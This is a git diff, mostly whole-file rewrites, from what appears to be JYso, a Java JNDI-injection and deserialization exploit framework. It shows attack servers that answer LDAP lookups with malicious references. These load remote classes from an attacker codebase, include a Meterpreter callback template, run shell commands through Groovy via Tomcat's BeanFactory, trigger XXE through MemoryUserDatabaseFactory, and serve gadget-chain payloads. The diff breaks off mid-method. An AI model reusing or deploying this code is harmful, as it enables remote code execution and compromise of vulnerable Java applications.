certFile); + System.setProperty("javax.net.ssl.trustStorePassword", keyPass); + + try { + SSLUtil serverSSLUtil = new SSLUtil( + new KeyStoreKeyManager(certFile, keyPass.toCharArray()), + new TrustAllTrustManager() + ); + SSLUtil clientSSLUtil = new SSLUtil(new TrustAllTrustManager()); + + InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig("dc=example,dc=com"); + config.setListenerConfigs(InMemoryListenerConfig.createLDAPSConfig( + "listen-ldaps", + null, + Integer.parseInt(String.valueOf(Config.ldapsPort)), + serverSSLUtil.createSSLServerSocketFactory(), + clientSSLUtil.createSSLSocketFactory() + )); + config.addInMemoryOperationInterceptor(new LdapServer()); + + InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config); + ds.startListening(); + System.out.println(ansi().render("@|green [+]|@ LDAPS Server Start Listening on >> " + Config.ldapsPort + "...")); + } catch (Exception e) { + log.error("e: ", e); + } + } } \ No newline at end of file diff --git a/src/main/java/com/qi4l/JYso/Starter.java b/src/main/java/com/qi4l/JYso/Starter.java index 399d31c..09a186f 100644 --- a/src/main/java/com/qi4l/JYso/Starter.java +++ b/src/main/java/com/qi4l/JYso/Starter.java @@ -1,41 +1,41 @@ -package com.qi4l.JYso; - -import com.qi4l.JYso.gadgets.Config.ysoserial; -import com.qi4l.JYso.gadgets.Config.Config; -import com.qi4l.JYso.gadgets.ObjectPayload; -import org.apache.commons.collections4.map.CaseInsensitiveMap; - -import static com.qi4l.JYso.gadgets.Config.Config.logo; - -public class Starter { - - // 用于存储所有的ObjectPayload类 - public static CaseInsensitiveMap>> caseInsensitiveObjectPayloadMap = new CaseInsensitiveMap<>(); - public static boolean JYsoMode = false; - - static { - for (Class> clazz : ObjectPayload.Utils.getPayloadClasses()) { - caseInsensitiveObjectPayloadMap.put(clazz.getName(), clazz); - } - } - - public static void main(String[] args) throws Exception { - // 如果参数中包含-j,则启动LDAP、HTTP、RMI服务 - if (args.length > 0 && args[0].equals("-j")) { - logo(); - Config.applyCmdArgs(args); - LdapServer.start(); - HTTPServer.start(); - if (Config.TLSProxy) { - LdapsServer.start(); - } - RMIServer.start(); - } - - // 如果参数中包含-y,则启动 ysoserial - if (args.length > 0 && args[0].equals("-y")) { - JYsoMode = true; - ysoserial.run(args); - } - } -} +package com.qi4l.JYso; + +import com.qi4l.JYso.gadgets.Config.ysoserial; +import com.qi4l.JYso.gadgets.Config.Config; +import com.qi4l.JYso.gadgets.ObjectPayload; +import org.apache.commons.collections4.map.CaseInsensitiveMap; + +import static com.qi4l.JYso.gadgets.Config.Config.logo; + +public class Starter { + + // 用于存储所有的ObjectPayload类 + public static CaseInsensitiveMap>> caseInsensitiveObjectPayloadMap = new CaseInsensitiveMap<>(); + public static boolean JYsoMode = false; + + static { + for (Class> clazz : ObjectPayload.Utils.getPayloadClasses()) { + caseInsensitiveObjectPayloadMap.put(clazz.getName(), clazz); + } + } + + public static void main(String[] args) throws Exception { + // 如果参数中包含-j,则启动LDAP、HTTP、RMI服务 + if (args.length > 0 && args[0].equals("-j")) { + logo(); + Config.applyCmdArgs(args); + LdapServer.start(); + HTTPServer.start(); + if (Config.TLSProxy) { + LdapsServer.start(); + } + RMIServer.start(); + } + + // 如果参数中包含-y,则启动 ysoserial + if (args.length > 0 && args[0].equals("-y")) { + JYsoMode = true; + ysoserial.run(args); + } + } +} diff --git a/src/main/java/com/qi4l/JYso/controllers/BasicController.java b/src/main/java/com/qi4l/JYso/controllers/BasicController.java index 4d45fdd..7fd5847 100644 --- a/src/main/java/com/qi4l/JYso/controllers/BasicController.java +++ b/src/main/java/com/qi4l/JYso/controllers/BasicController.java @@ -1,173 +1,173 @@ -package com.qi4l.JYso.controllers; - -import com.qi4l.JYso.enumtypes.GadgetType; -import com.qi4l.JYso.exceptions.IncorrectParamsException; -import com.qi4l.JYso.exceptions.UnSupportedPayloadTypeException; -import com.qi4l.JYso.gadgets.Config.Config; -import com.qi4l.JYso.gadgets.URLDNS; -import com.qi4l.JYso.gadgets.utils.Gadgets; -import com.qi4l.JYso.gadgets.utils.Utils; -import com.qi4l.JYso.gadgets.utils.handle.ClassNameHandler; -import com.qi4l.JYso.template.Meterpreter; -import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; -import com.unboundid.ldap.sdk.Entry; -import com.unboundid.ldap.sdk.LDAPResult; -import com.unboundid.ldap.sdk.ResultCode; -import org.apache.logging.log4j.Logger; -import org.apache.logging.log4j.LogManager; - -import java.net.URL; -import java.nio.charset.StandardCharsets; -import java.util.Base64; -import java.util.Locale; - -import static org.fusesource.jansi.Ansi.ansi; - -@LdapMapping(uri = {"/basic"}) -public class BasicController implements LdapController { - - private static final Logger log = LogManager.getLogger(BasicController.class); - private static String payloadType; - // 用于对外提供动态字节码的 HTTP 服务器基础路径。 - private final String codebase = Config.codeBase; - // 存放从 LDAP 路径中解析出的命令或连接参数。 - private String[] params = new String[0]; - private GadgetType gadgetType; - - static String getStringQ(String base, int index) { - int cursor = 0; - int found = 0; - while (cursor < base.length()) { - int nextSlash = base.indexOf('/', cursor); - if (nextSlash == -1) nextSlash = base.length(); - - if (nextSlash > cursor) { - if (found == index) { - return base.substring(cursor, nextSlash); - } - found++; - } - cursor = nextSlash + 1; - } - return ""; - } - - // 向 LDAP 客户端返回引用指定 payload 类的搜索结果。 - @Override - public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception { - try { - Entry entry = new Entry(base); - String className = resolvePayloadClass(); - URL targetUrl = new URL(new URL(codebase), className.replace('.', '/') + ".class"); - - System.out.println(ansi().fgBrightBlue().a(" redirecting to " + targetUrl).reset()); - entry.addAttribute("javaClassName", "foo"); - entry.addAttribute("javaCodeBase", codebase); - entry.addAttribute("objectClass", "javaNamingReference"); - entry.addAttribute("javaFactory", className); - result.sendSearchEntry(entry); - result.setResult(new LDAPResult(0, ResultCode.SUCCESS)); - } catch (Throwable er) { - System.err.println("Error while generating or serializing payload"); - log.error(String.valueOf(er)); - } - } - - // 解析请求路径,确定 payload 类型并准备执行时所需的参数。 - @Override - public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException { - System.out.println("- JNDI Remote Reference Links "); - try { - String normalized = base.replace('\\', '/'); - payloadType = segment(normalized, 1); - if (payloadType.isEmpty()) { - throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + normalized); - } - System.out.println(ansi().fgBrightMagenta().a(" Payload: " + payloadType).reset()); - - gadgetType = parseGadgetType(normalized); - params = resolveParams(normalized); - } catch (Exception e) { - if (e instanceof UnSupportedPayloadTypeException) throw (UnSupportedPayloadTypeException) e; - - throw new IncorrectParamsException("Incorrect params >> " + base); - } - } - - // 根据 payload 标识返回需要加载的实现类名称。 - private String resolvePayloadClass() throws Exception { - if (payloadType.contains("E-")) { - Class echoClass = Class.forName(ClassNameHandler.searchClassByName(suffixAfterDash(payloadType))); - return echoClass.getName(); - } - - if (payloadType.contains("M-")) { - return Gadgets.createClassB(suffixAfterDash(payloadType)); - } - - if (payloadType.contains("command")) { - if (params.length == 0) { - throw new IncorrectParamsException("Missing command parameters."); - } - // 待写 - } - - if (payloadType.contains("msf")) { - return Meterpreter.class.getName(); - } - - throw new UnSupportedPayloadTypeException("Unsupported payload flag: " + payloadType); - } - - // 读取路径中的 gadget 片段并转换为枚举值。 - private GadgetType parseGadgetType(String base) throws UnSupportedPayloadTypeException { - String segment = segment(base, 2); - if (segment.isEmpty()) { - return null; - } - try { - return GadgetType.valueOf(segment.toLowerCase(Locale.ROOT)); - } catch (IllegalArgumentException ignored) { - throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + segment); - } - } - - // 根据 gadget 类型构建命令行或回连配置参数。 - private String[] resolveParams(String base) throws Exception { - if (gadgetType == null) { - return new String[0]; - } - - switch (gadgetType) { - case base64: - String cmd = Utils.getCmdFromBase(base); - System.out.println(ansi().fgBrightRed().a(" Command: " + cmd).reset()); - return new String[]{cmd}; - case shell: - String encoded = Utils.getCmdFromBase(base); - String decoded = new String(Base64.getDecoder().decode(encoded), StandardCharsets.UTF_8); - System.out.println(ansi().fgBrightRed().a(" Command: " + decoded).reset()); - return decoded.split(" "); - case msf: - String[] results = Utils.getIPAndPortFromBase(base); - Config.rhost = results[0]; - Config.rport = results[1]; - System.out.println(" RemoteHost: " + results[0]); - System.out.println(" RemotePort: " + results[1]); - return results; - default: - return new String[0]; - } - } - - // 提取路径中第 index 个非空段,保持与原解析逻辑一致。 - private String segment(String base, int index) { - return getStringQ(base, index); - } - - // 返回连字符后的子串,用于解析自定义类名。 - private String suffixAfterDash(String value) { - int dashIndex = value.indexOf('-'); - return dashIndex >= 0 ? value.substring(dashIndex + 1) : value; - } -} +package com.qi4l.JYso.controllers; + +import com.qi4l.JYso.enumtypes.GadgetType; +import com.qi4l.JYso.exceptions.IncorrectParamsException; +import com.qi4l.JYso.exceptions.UnSupportedPayloadTypeException; +import com.qi4l.JYso.gadgets.Config.Config; +import com.qi4l.JYso.gadgets.URLDNS; +import com.qi4l.JYso.gadgets.utils.Gadgets; +import com.qi4l.JYso.gadgets.utils.Utils; +import com.qi4l.JYso.gadgets.utils.handle.ClassNameHandler; +import com.qi4l.JYso.template.Meterpreter; +import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; +import com.unboundid.ldap.sdk.Entry; +import com.unboundid.ldap.sdk.LDAPResult; +import com.unboundid.ldap.sdk.ResultCode; +import org.apache.logging.log4j.Logger; +import org.apache.logging.log4j.LogManager; + +import java.net.URL; +import java.nio.charset.StandardCharsets; +import java.util.Base64; +import java.util.Locale; + +import static org.fusesource.jansi.Ansi.ansi; + +@LdapMapping(uri = {"/basic"}) +public class BasicController implements LdapController { + + private static final Logger log = LogManager.getLogger(BasicController.class); + private static String payloadType; + // 用于对外提供动态字节码的 HTTP 服务器基础路径。 + private final String codebase = Config.codeBase; + // 存放从 LDAP 路径中解析出的命令或连接参数。 + private String[] params = new String[0]; + private GadgetType gadgetType; + + static String getStringQ(String base, int index) { + int cursor = 0; + int found = 0; + while (cursor < base.length()) { + int nextSlash = base.indexOf('/', cursor); + if (nextSlash == -1) nextSlash = base.length(); + + if (nextSlash > cursor) { + if (found == index) { + return base.substring(cursor, nextSlash); + } + found++; + } + cursor = nextSlash + 1; + } + return ""; + } + + // 向 LDAP 客户端返回引用指定 payload 类的搜索结果。 + @Override + public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception { + try { + Entry entry = new Entry(base); + String className = resolvePayloadClass(); + URL targetUrl = new URL(new URL(codebase), className.replace('.', '/') + ".class"); + + System.out.println(ansi().fgBrightBlue().a(" redirecting to " + targetUrl).reset()); + entry.addAttribute("javaClassName", "foo"); + entry.addAttribute("javaCodeBase", codebase); + entry.addAttribute("objectClass", "javaNamingReference"); + entry.addAttribute("javaFactory", className); + result.sendSearchEntry(entry); + result.setResult(new LDAPResult(0, ResultCode.SUCCESS)); + } catch (Throwable er) { + System.err.println("Error while generating or serializing payload"); + log.error(String.valueOf(er)); + } + } + + // 解析请求路径,确定 payload 类型并准备执行时所需的参数。 + @Override + public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException { + System.out.println("- JNDI Remote Reference Links "); + try { + String normalized = base.replace('\\', '/'); + payloadType = segment(normalized, 1); + if (payloadType.isEmpty()) { + throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + normalized); + } + System.out.println(ansi().fgBrightMagenta().a(" Payload: " + payloadType).reset()); + + gadgetType = parseGadgetType(normalized); + params = resolveParams(normalized); + } catch (Exception e) { + if (e instanceof UnSupportedPayloadTypeException) throw (UnSupportedPayloadTypeException) e; + + throw new IncorrectParamsException("Incorrect params >> " + base); + } + } + + // 根据 payload 标识返回需要加载的实现类名称。 + private String resolvePayloadClass() throws Exception { + if (payloadType.contains("E-")) { + Class echoClass = Class.forName(ClassNameHandler.searchClassByName(suffixAfterDash(payloadType))); + return echoClass.getName(); + } + + if (payloadType.contains("M-")) { + return Gadgets.createClassB(suffixAfterDash(payloadType)); + } + + if (payloadType.contains("command")) { + if (params.length == 0) { + throw new IncorrectParamsException("Missing command parameters."); + } + // 待写 + } + + if (payloadType.contains("msf")) { + return Meterpreter.class.getName(); + } + + throw new UnSupportedPayloadTypeException("Unsupported payload flag: " + payloadType); + } + + // 读取路径中的 gadget 片段并转换为枚举值。 + private GadgetType parseGadgetType(String base) throws UnSupportedPayloadTypeException { + String segment = segment(base, 2); + if (segment.isEmpty()) { + return null; + } + try { + return GadgetType.valueOf(segment.toLowerCase(Locale.ROOT)); + } catch (IllegalArgumentException ignored) { + throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + segment); + } + } + + // 根据 gadget 类型构建命令行或回连配置参数。 + private String[] resolveParams(String base) throws Exception { + if (gadgetType == null) { + return new String[0]; + } + + switch (gadgetType) { + case base64: + String cmd = Utils.getCmdFromBase(base); + System.out.println(ansi().fgBrightRed().a(" Command: " + cmd).reset()); + return new String[]{cmd}; + case shell: + String encoded = Utils.getCmdFromBase(base); + String decoded = new String(Base64.getDecoder().decode(encoded), StandardCharsets.UTF_8); + System.out.println(ansi().fgBrightRed().a(" Command: " + decoded).reset()); + return decoded.split(" "); + case msf: + String[] results = Utils.getIPAndPortFromBase(base); + Config.rhost = results[0]; + Config.rport = results[1]; + System.out.println(" RemoteHost: " + results[0]); + System.out.println(" RemotePort: " + results[1]); + return results; + default: + return new String[0]; + } + } + + // 提取路径中第 index 个非空段,保持与原解析逻辑一致。 + private String segment(String base, int index) { + return getStringQ(base, index); + } + + // 返回连字符后的子串,用于解析自定义类名。 + private String suffixAfterDash(String value) { + int dashIndex = value.indexOf('-'); + return dashIndex >= 0 ? value.substring(dashIndex + 1) : value; + } +} diff --git a/src/main/java/com/qi4l/JYso/controllers/GroovyController.java b/src/main/java/com/qi4l/JYso/controllers/GroovyController.java index ebb7b23..a8eb4f0 100644 --- a/src/main/java/com/qi4l/JYso/controllers/GroovyController.java +++ b/src/main/java/com/qi4l/JYso/controllers/GroovyController.java @@ -1,72 +1,72 @@ -package com.qi4l.JYso.controllers; - -import com.qi4l.JYso.exceptions.IncorrectParamsException; -import com.qi4l.JYso.exceptions.UnSupportedPayloadTypeException; -import com.qi4l.JYso.gadgets.utils.Utils; -import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; -import com.unboundid.ldap.sdk.Entry; -import com.unboundid.ldap.sdk.LDAPResult; -import com.unboundid.ldap.sdk.ResultCode; -import org.apache.naming.ResourceRef; -import org.fusesource.jansi.Ansi; - -import javax.naming.StringRefAddr; - -/* - * Requires: - * - Tomcat and Groovy in classpath - * - * @author https://twitter.com/orange_8361 and https://github.com/welk1n - * - * Groovy 语法参考: - * - https://xz.aliyun.com/t/8231#toc-7 - * - https://my.oschina.net/jjyuangu/blog/1815945 - * - https://stackoverflow.com/questions/4689240/detecting-the-platform-window-or-linux-by-groovy-grails - */ - -@LdapMapping(uri = {"/groovy"}) -public class GroovyController implements LdapController { - private String[] params; - - @Override - public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception { - Entry e = new Entry(base); - e.addAttribute("javaClassName", "java.lang.String"); //could be any - - //prepare payload that exploits unsafe reflection in org.apache.naming.factory.BeanFactory - ResourceRef ref = new ResourceRef("groovy.lang.GroovyShell", null, "", "", true, "org.apache.naming.factory.BeanFactory", null); - ref.add(new StringRefAddr("forceString", "x=evaluate")); - String template = " if (System.properties['os.name'].toLowerCase().contains('windows')) {\n" + - " ['cmd','/C', '${cmd}'].execute();\n" + - " } else {\n" + - " ['/bin/sh','-c', '${cmd}'].execute();\n" + - " }"; - ref.add(new StringRefAddr("x", template.replace("${cmd}", params[0]).replace("${cmd}", params[0]))); - - e.addAttribute("javaSerializedData", Utils.serialize(ref)); - - result.sendSearchEntry(e); - result.setResult(new LDAPResult(0, ResultCode.SUCCESS)); - } - - @Override - public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException { - System.out.println("- JNDI LDAP Local Reference Links + Groovy"); - try { - int firstIndex = base.indexOf("/"); - int secondIndex = base.indexOf("/", firstIndex + 1); - if (secondIndex < 0) secondIndex = base.length(); - - String payloadType = base.substring(firstIndex + 1, secondIndex); - System.out.println(Ansi.ansi().fgBrightMagenta().a(" Payload: " + payloadType).reset()); - - String cmd = Utils.getCmdFromBase(base); - System.out.println(Ansi.ansi().fgBrightRed().a(" Command: " + cmd).reset()); - params = new String[]{cmd}; - } catch (Exception e) { - if (e instanceof UnSupportedPayloadTypeException) throw (UnSupportedPayloadTypeException) e; - - throw new IncorrectParamsException("Incorrect params >> " + base); - } - } +package com.qi4l.JYso.controllers; + +import com.qi4l.JYso.exceptions.IncorrectParamsException; +import com.qi4l.JYso.exceptions.UnSupportedPayloadTypeException; +import com.qi4l.JYso.gadgets.utils.Utils; +import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; +import com.unboundid.ldap.sdk.Entry; +import com.unboundid.ldap.sdk.LDAPResult; +import com.unboundid.ldap.sdk.ResultCode; +import org.apache.naming.ResourceRef; +import org.fusesource.jansi.Ansi; + +import javax.naming.StringRefAddr; + +/* + * Requires: + * - Tomcat and Groovy in classpath + * + * @author https://twitter.com/orange_8361 and https://github.com/welk1n + * + * Groovy 语法参考: + * - https://xz.aliyun.com/t/8231#toc-7 + * - https://my.oschina.net/jjyuangu/blog/1815945 + * - https://stackoverflow.com/questions/4689240/detecting-the-platform-window-or-linux-by-groovy-grails + */ + +@LdapMapping(uri = {"/groovy"}) +public class GroovyController implements LdapController { + private String[] params; + + @Override + public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception { + Entry e = new Entry(base); + e.addAttribute("javaClassName", "java.lang.String"); //could be any + + //prepare payload that exploits unsafe reflection in org.apache.naming.factory.BeanFactory + ResourceRef ref = new ResourceRef("groovy.lang.GroovyShell", null, "", "", true, "org.apache.naming.factory.BeanFactory", null); + ref.add(new StringRefAddr("forceString", "x=evaluate")); + String template = " if (System.properties['os.name'].toLowerCase().contains('windows')) {\n" + + " ['cmd','/C', '${cmd}'].execute();\n" + + " } else {\n" + + " ['/bin/sh','-c', '${cmd}'].execute();\n" + + " }"; + ref.add(new StringRefAddr("x", template.replace("${cmd}", params[0]).replace("${cmd}", params[0]))); + + e.addAttribute("javaSerializedData", Utils.serialize(ref)); + + result.sendSearchEntry(e); + result.setResult(new LDAPResult(0, ResultCode.SUCCESS)); + } + + @Override + public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException { + System.out.println("- JNDI LDAP Local Reference Links + Groovy"); + try { + int firstIndex = base.indexOf("/"); + int secondIndex = base.indexOf("/", firstIndex + 1); + if (secondIndex < 0) secondIndex = base.length(); + + String payloadType = base.substring(firstIndex + 1, secondIndex); + System.out.println(Ansi.ansi().fgBrightMagenta().a(" Payload: " + payloadType).reset()); + + String cmd = Utils.getCmdFromBase(base); + System.out.println(Ansi.ansi().fgBrightRed().a(" Command: " + cmd).reset()); + params = new String[]{cmd}; + } catch (Exception e) { + if (e instanceof UnSupportedPayloadTypeException) throw (UnSupportedPayloadTypeException) e; + + throw new IncorrectParamsException("Incorrect params >> " + base); + } + } } \ No newline at end of file diff --git a/src/main/java/com/qi4l/JYso/controllers/LdapController.java b/src/main/java/com/qi4l/JYso/controllers/LdapController.java index cfbed3c..d9ce35c 100644 --- a/src/main/java/com/qi4l/JYso/controllers/LdapController.java +++ b/src/main/java/com/qi4l/JYso/controllers/LdapController.java @@ -1,13 +1,13 @@ -package com.qi4l.JYso.controllers; - -import com.qi4l.JYso.exceptions.IncorrectParamsException; -import com.qi4l.JYso.exceptions.UnSupportedActionTypeException; -import com.qi4l.JYso.exceptions.UnSupportedGadgetTypeException; -import com.qi4l.JYso.exceptions.UnSupportedPayloadTypeException; -import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; - -public interface LdapController { - void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception; - - void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException, UnSupportedGadgetTypeException, UnSupportedActionTypeException; -} +package com.qi4l.JYso.controllers; + +import com.qi4l.JYso.exceptions.IncorrectParamsException; +import com.qi4l.JYso.exceptions.UnSupportedActionTypeException; +import com.qi4l.JYso.exceptions.UnSupportedGadgetTypeException; +import com.qi4l.JYso.exceptions.UnSupportedPayloadTypeException; +import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; + +public interface LdapController { + void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception; + + void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException, UnSupportedGadgetTypeException, UnSupportedActionTypeException; +} diff --git a/src/main/java/com/qi4l/JYso/controllers/LdapMapping.java b/src/main/java/com/qi4l/JYso/controllers/LdapMapping.java index 69fb14c..93df40d 100644 --- a/src/main/java/com/qi4l/JYso/controllers/LdapMapping.java +++ b/src/main/java/com/qi4l/JYso/controllers/LdapMapping.java @@ -1,12 +1,12 @@ -package com.qi4l.JYso.controllers; - -import java.lang.annotation.ElementType; -import java.lang.annotation.Retention; -import java.lang.annotation.RetentionPolicy; -import java.lang.annotation.Target; - -@Retention(RetentionPolicy.RUNTIME) -@Target(ElementType.TYPE) -public @interface LdapMapping { - String[] uri(); -} +package com.qi4l.JYso.controllers; + +import java.lang.annotation.ElementType; +import java.lang.annotation.Retention; +import java.lang.annotation.RetentionPolicy; +import java.lang.annotation.Target; + +@Retention(RetentionPolicy.RUNTIME) +@Target(ElementType.TYPE) +public @interface LdapMapping { + String[] uri(); +} diff --git a/src/main/java/com/qi4l/JYso/controllers/MemoryXXEController.java b/src/main/java/com/qi4l/JYso/controllers/MemoryXXEController.java index 1805dc0..cdcc188 100644 --- a/src/main/java/com/qi4l/JYso/controllers/MemoryXXEController.java +++ b/src/main/java/com/qi4l/JYso/controllers/MemoryXXEController.java @@ -1,65 +1,65 @@ -package com.qi4l.JYso.controllers; - -import com.qi4l.JYso.enumtypes.GadgetType; -import com.qi4l.JYso.exceptions.IncorrectParamsException; -import com.qi4l.JYso.exceptions.UnSupportedActionTypeException; -import com.qi4l.JYso.exceptions.UnSupportedGadgetTypeException; -import com.qi4l.JYso.exceptions.UnSupportedPayloadTypeException; -import com.qi4l.JYso.gadgets.utils.Utils; -import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; -import com.unboundid.ldap.sdk.Entry; -import com.unboundid.ldap.sdk.LDAPResult; -import com.unboundid.ldap.sdk.ResultCode; -import org.apache.naming.ResourceRef; -import org.fusesource.jansi.Ansi; - -import javax.naming.StringRefAddr; - -@LdapMapping(uri = {"/memoryxxe"}) -public class MemoryXXEController implements LdapController { - private String[] params; - private GadgetType gadgetType; - - @Override - public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception { - Entry e = new Entry(base); - e.addAttribute("javaClassName", "java.lang.String"); - ResourceRef ref = new ResourceRef("org.apache.catalina.UserDatabase", null, "", "", - true, "org.apache.catalina.users.MemoryUserDatabaseFactory", null); - ref.add(new StringRefAddr("pathname", params[0])); - e.addAttribute("javaSerializedData", Utils.serialize(ref)); - result.sendSearchEntry(e); - result.setResult(new LDAPResult(0, ResultCode.SUCCESS)); - } - - @Override - public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException, UnSupportedGadgetTypeException, UnSupportedActionTypeException { - System.out.println("- JNDI LDAP Local Reference Links + MemoryXXE"); - try { - base = base.replace('\\', '/'); - int fistIndex = base.indexOf("/"); - int secondIndex = base.indexOf("/", fistIndex + 1); - if (secondIndex < 0) secondIndex = base.length(); - - int thirdIndex = base.indexOf("/", secondIndex + 1); - - if (thirdIndex != -1) { - try { - gadgetType = GadgetType.valueOf(base.substring(secondIndex + 1, thirdIndex).toLowerCase()); - } catch (IllegalArgumentException e) { - throw new UnSupportedPayloadTypeException("UnSupportedPayloadType: " + base.substring(secondIndex + 1, thirdIndex)); - } - } - - if (gadgetType == GadgetType.base64) { - String cmd = Utils.getCmdFromBase(base); - System.out.println(Ansi.ansi().fgBrightRed().a(" url: " + cmd).reset()); - params = new String[]{cmd}; - } - } catch (Exception e) { - if (e instanceof UnSupportedPayloadTypeException) throw (UnSupportedPayloadTypeException) e; - - throw new IncorrectParamsException("Incorrect params: " + base); - } - } -} +package com.qi4l.JYso.controllers; + +import com.qi4l.JYso.enumtypes.GadgetType; +import com.qi4l.JYso.exceptions.IncorrectParamsException; +import com.qi4l.JYso.exceptions.UnSupportedActionTypeException; +import com.qi4l.JYso.exceptions.UnSupportedGadgetTypeException; +import com.qi4l.JYso.exceptions.UnSupportedPayloadTypeException; +import com.qi4l.JYso.gadgets.utils.Utils; +import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; +import com.unboundid.ldap.sdk.Entry; +import com.unboundid.ldap.sdk.LDAPResult; +import com.unboundid.ldap.sdk.ResultCode; +import org.apache.naming.ResourceRef; +import org.fusesource.jansi.Ansi; + +import javax.naming.StringRefAddr; + +@LdapMapping(uri = {"/memoryxxe"}) +public class MemoryXXEController implements LdapController { + private String[] params; + private GadgetType gadgetType; + + @Override + public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception { + Entry e = new Entry(base); + e.addAttribute("javaClassName", "java.lang.String"); + ResourceRef ref = new ResourceRef("org.apache.catalina.UserDatabase", null, "", "", + true, "org.apache.catalina.users.MemoryUserDatabaseFactory", null); + ref.add(new StringRefAddr("pathname", params[0])); + e.addAttribute("javaSerializedData", Utils.serialize(ref)); + result.sendSearchEntry(e); + result.setResult(new LDAPResult(0, ResultCode.SUCCESS)); + } + + @Override + public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException, UnSupportedGadgetTypeException, UnSupportedActionTypeException { + System.out.println("- JNDI LDAP Local Reference Links + MemoryXXE"); + try { + base = base.replace('\\', '/'); + int fistIndex = base.indexOf("/"); + int secondIndex = base.indexOf("/", fistIndex + 1); + if (secondIndex < 0) secondIndex = base.length(); + + int thirdIndex = base.indexOf("/", secondIndex + 1); + + if (thirdIndex != -1) { + try { + gadgetType = GadgetType.valueOf(base.substring(secondIndex + 1, thirdIndex).toLowerCase()); + } catch (IllegalArgumentException e) { + throw new UnSupportedPayloadTypeException("UnSupportedPayloadType: " + base.substring(secondIndex + 1, thirdIndex)); + } + } + + if (gadgetType == GadgetType.base64) { + String cmd = Utils.getCmdFromBase(base); + System.out.println(Ansi.ansi().fgBrightRed().a(" url: " + cmd).reset()); + params = new String[]{cmd}; + } + } catch (Exception e) { + if (e instanceof UnSupportedPayloadTypeException) throw (UnSupportedPayloadTypeException) e; + + throw new IncorrectParamsException("Incorrect params: " + base); + } + } +} diff --git a/src/main/java/com/qi4l/JYso/controllers/SerializedDataController.java b/src/main/java/com/qi4l/JYso/controllers/SerializedDataController.java index 9635855..53e04eb 100644 --- a/src/main/java/com/qi4l/JYso/controllers/SerializedDataController.java +++ b/src/main/java/com/qi4l/JYso/controllers/SerializedDataController.java @@ -1,118 +1,118 @@ -package com.qi4l.JYso.controllers; - -import com.qi4l.JYso.enumtypes.GadgetType; -import com.qi4l.JYso.enumtypes.PayloadType; -import com.qi4l.JYso.exceptions.IncorrectParamsException; -import com.qi4l.JYso.exceptions.UnSupportedGadgetTypeException; -import com.qi4l.JYso.exceptions.UnSupportedPayloadTypeException; -import com.qi4l.JYso.gadgets.ObjectPayload; -import com.qi4l.JYso.gadgets.utils.Serializer; -import com.qi4l.JYso.gadgets.utils.Utils; -import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; -import com.unboundid.ldap.sdk.Entry; -import com.unboundid.ldap.sdk.LDAPResult; -import com.unboundid.ldap.sdk.ResultCode; -import org.fusesource.jansi.Ansi; -import org.apache.logging.log4j.Logger; -import org.apache.logging.log4j.LogManager; - -import java.io.ByteArrayOutputStream; -import java.util.Base64; - -import static com.qi4l.JYso.gadgets.Config.Config.BCEL1; - -@LdapMapping(uri = {"/deserialization"}) -public class SerializedDataController implements LdapController { - private static final Logger log = LogManager.getLogger(SerializedDataController.class); - public static String gadgetType; - public static String cmd11; - public static GadgetType gadgetType1; - private String params; - - @Override - public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception { - Entry e = new Entry(base); - - byte[] bytes; - - try { - final Class> payloadClass = ObjectPayload.Utils.getPayloadClass(gadgetType); - ObjectPayload payload = payloadClass.newInstance(); - Object object = payload.getObject(params); - - if (SerializedDataController.gadgetType.equals("JRE8u20")) { - bytes = (byte[]) object; - } else { - ByteArrayOutputStream out = new ByteArrayOutputStream(); - bytes = Serializer.serialize(object, out); - } - - e.addAttribute("javaClassName", "foo"); - e.addAttribute("javaSerializedData", bytes); - result.sendSearchEntry(e); - result.setResult(new LDAPResult(0, ResultCode.SUCCESS)); - } catch (Throwable er) { - System.err.println("Error while generating or serializing payload"); - log.error(String.valueOf(er)); - } - } - - @Override - public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException, UnSupportedGadgetTypeException { - System.out.println("- JNDI Deserialization Links "); - try { - base = base.replace('\\', '/'); - int firstIndex = base.indexOf("/"); - int secondIndex = base.indexOf("/", firstIndex + 1); - try { - gadgetType = base.substring(firstIndex + 1, secondIndex); - System.out.println(Ansi.ansi().fgBrightMagenta().a(" Gadget: " + gadgetType).reset()); - } catch (IllegalArgumentException e) { - throw new UnSupportedGadgetTypeException("UnSupportGadgetType >> " + base.substring(firstIndex + 1, secondIndex)); - } - int thirdIndex = base.indexOf("/", secondIndex + 1); - int fourIndex = base.indexOf("/", thirdIndex + 1); - String Ty1 = base.substring(thirdIndex + 1, fourIndex); - gadgetType1 = GadgetType.valueOf(Ty1.toLowerCase()); - // 若第三个斜杠不存在,则把其设置成为字符串的长度 - if (thirdIndex < 0) thirdIndex = base.length(); - PayloadType payloadType; - try { 